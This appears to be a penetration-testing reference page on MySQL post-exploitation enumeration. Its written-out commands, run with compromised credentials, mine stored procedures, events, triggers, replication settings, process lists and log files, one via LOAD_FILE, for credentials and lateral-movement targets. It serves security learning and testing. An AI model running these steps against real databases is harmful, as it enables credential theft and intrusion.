# MySQL Post-Exploitation Enumeration

> Covers MySQL enumeration techniques post-compromise, including user privilege extraction, database schema mapping, credential harvesting, and UDF-based privilege escalation paths.

- **URL:** https://hackindex.io/services/mysql/post-exploitation/mysql-post-exploitation-enumeration
- **Path:** MySQL > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/mysql/post-exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-07-14

After gaining authenticated access to MySQL, post-exploitation enumeration maps the full attack surface beyond the immediately visible databases and tables. Key areas to enumerate:

- Stored procedures and functions that may contain hardcoded credentials or internal service addresses
- Scheduled events that run on a timer and can be abused for persistence
- Triggers on data changes worth checking for interception opportunities
- Replication configuration revealing other database servers in the environment
- Active connections exposing internal application servers and source IPs

## MySQL Post-Exploitation Enumeration of Stored Procedures and Functions

Stored procedures frequently contain hardcoded credentials, internal service addresses, and sensitive business logic:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('sys','mysql','information_schema','performance_schema');"
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('sys','mysql','information_schema','performance_schema');"
```

Read the full definition of any interesting procedure:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW CREATE PROCEDURE appdb.sync_users\G"
```

## Enumerate Scheduled Events

MySQL events are SQL statements that execute on a schedule. They can be abused for persistence and may contain credentials or reveal automated maintenance operations:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT EVENT_SCHEMA, EVENT_NAME, STATUS, EVENT_DEFINITION, EXECUTE_AT, INTERVAL_VALUE, INTERVAL_FIELD FROM information_schema.EVENTS;"
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW EVENTS\G"
```

## Enumerate Triggers

Triggers fire automatically on INSERT, UPDATE, or DELETE operations. A trigger on a users table could be logging credential changes to a separate table:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT TRIGGER_SCHEMA, TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE, ACTION_STATEMENT FROM information_schema.TRIGGERS WHERE TRIGGER_SCHEMA NOT IN ('sys','mysql','information_schema','performance_schema');"
```

## Enumerate Replication Configuration

Replication configuration reveals other MySQL servers in the environment and the replication user credentials:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW REPLICA STATUS\G"
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW MASTER STATUS\G"
```

The replica status output includes the source host, replication user, and port. This reveals additional database servers in the environment. The replication user account is a valid MySQL credential on the source server and worth testing against both MySQL and other services on the source host.

## Enumerate Active Connections and Running Queries

The process list shows all currently connected clients, their source hosts, and what queries they are running:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW FULL PROCESSLIST;"
```

Application servers connecting to the database are visible in the process list with their source IP addresses. These are internal hosts in the environment worth enumerating for lateral movement.

## Check General and Binary Logs

If query logging is enabled, the general log contains a record of every query executed including those with embedded credentials:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW VARIABLES LIKE 'general_log%'; SHOW VARIABLES LIKE 'log_bin%';"
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/var/log/mysql/mysql.log');"
```

## References

- [MySQL: information_schema.ROUTINES table](https://dev.mysql.com/doc/refman/8.0/en/information-schema-routines-table.html) - Stored procedure and function enumeration field reference
- [MySQL: SHOW REPLICA STATUS](https://dev.mysql.com/doc/refman/8.0/en/show-replica-status.html) - Replication configuration output fields and source host reference